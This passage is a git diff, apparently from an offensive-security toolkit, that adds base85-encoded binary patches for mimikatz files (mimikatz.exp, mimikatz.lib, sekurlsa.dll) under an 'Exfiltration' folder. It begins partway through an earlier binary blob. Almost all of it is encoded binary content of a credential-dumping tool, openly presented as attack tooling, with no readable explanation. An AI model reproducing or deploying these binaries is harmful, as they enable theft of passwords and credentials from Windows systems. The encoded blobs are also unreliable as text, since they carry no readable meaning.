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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp new file mode 100644 index 0000000000000000000000000000000000000000..0de4a90a3413edb89d98a44f8965c5fdeb37fc2a GIT binary patch literal 825 zcmbtS%TC)+5Iqj1frRli(+a0*B(}2#oviWgx>a+!GThx+SeBTNv4#Co zkqUFWY4GP)Qv(;WAE}A@6`Pf-s(IdOpWy)qCG=!!x0T3fX`@@c%8So)ohT*>%GnIsM%M+ z*pi-_KH~YA$Ik!DxWp1B_iZj literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib new file mode 100644 index 0000000000000000000000000000000000000000..b98eea9b2edc1537000af3aec82cb5b70b10130e GIT binary patch literal 1908 zcmcIlK~ED=5dL=CQrr;I2p32+OG2VtYFl=p7-I^ev0+=9?GlemZ51|Bmej(*i+{kM z;DM7r!V|y1g9p8P;BVl}?tApD6fLB_bl<$0H}B1SGxMekPg=e9{!`-n3{o6p>8!`pWKZqN7#1?cEJ!ht^!xDzCL0yl=;rV0ptHy zcCEGYWp*7cg{7ZWcbafd5>6UgzVqhw@!n!HW`PY_e3Fcy734PZL8sMkEtcdKl?T4j z_e%&;L@Owq3B45|#xyU;p44Nu0`p8KI)gjRVoC+|05dsG0$<33Ycf2!TMOE~@O}8U zZ$5OFOs87kigy2)rikZ*d;#Z?S2>zF+gYe)$cuK^JtB9*lh3%gkOuh-5B5)oL|p+Q zkN2e{!pD|UQev?V32>=n4 z$Kln|iM9rlQZ36;%GL5kGJA?E;uq>@+`Z-^e3Oa3 ZtmX?h&Yrb0+|oQ*(x_AVYHLoI`V9}_bCCc5 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll new file mode 100644 index 0000000000000000000000000000000000000000..0cb96386284bfa7543bd7057438badfde4e3b8ee GIT binary patch literal 178176 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 